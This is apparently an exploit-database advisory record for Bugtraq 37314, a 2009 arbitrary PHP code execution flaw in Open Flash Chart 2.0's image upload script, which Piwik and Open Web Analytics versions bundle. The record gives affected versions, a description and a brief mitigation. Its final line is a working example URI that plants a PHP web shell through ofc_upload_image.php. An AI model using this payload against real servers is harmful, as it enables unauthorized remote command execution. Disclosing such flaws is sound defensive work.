Bugtraq ID: 37314

vendor:

Open Flash Chart

by:

Braeden Thomas

7.5

CVSS

HIGH

Input Validation Error

CWE

Product Name: Open Flash Chart

Affected Version From: Piwik Piwik 0.4.3

Affected Version To: Open Flash Chart 2.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Open Flash Chart is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input. Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to execute unintended commands.

Source

Exploit-DB raw data:

Bugtraq ID:  	 37314
Class: 	Input Validation Error
CVE: 	
Remote: 	Yes
Local: 	No
Published: 	Dec 14 2009 12:00AM
Updated: 	Dec 17 2009 06:03PM
Credit: 	Braeden Thomas
Vulnerable: 	Piwik Piwik 0.4.3
Piwik Piwik 0.4.2
Piwik Piwik 0.4.1
Piwik Piwik 0.4
Piwik Piwik 0.2.37
Piwik Piwik 0.2.36
Piwik Piwik 0.2.35
Open Web Analytics Open Web Analytics 1.2.0
Open Flash Chart Open Flash Chart 2.0


Open Flash Chart is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

Open Flash Chart 2 Beta 1 and Open Flash Chart 2 are vulnerable; other versions may also be affected. 

The following example URI is available:

http://server/libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?>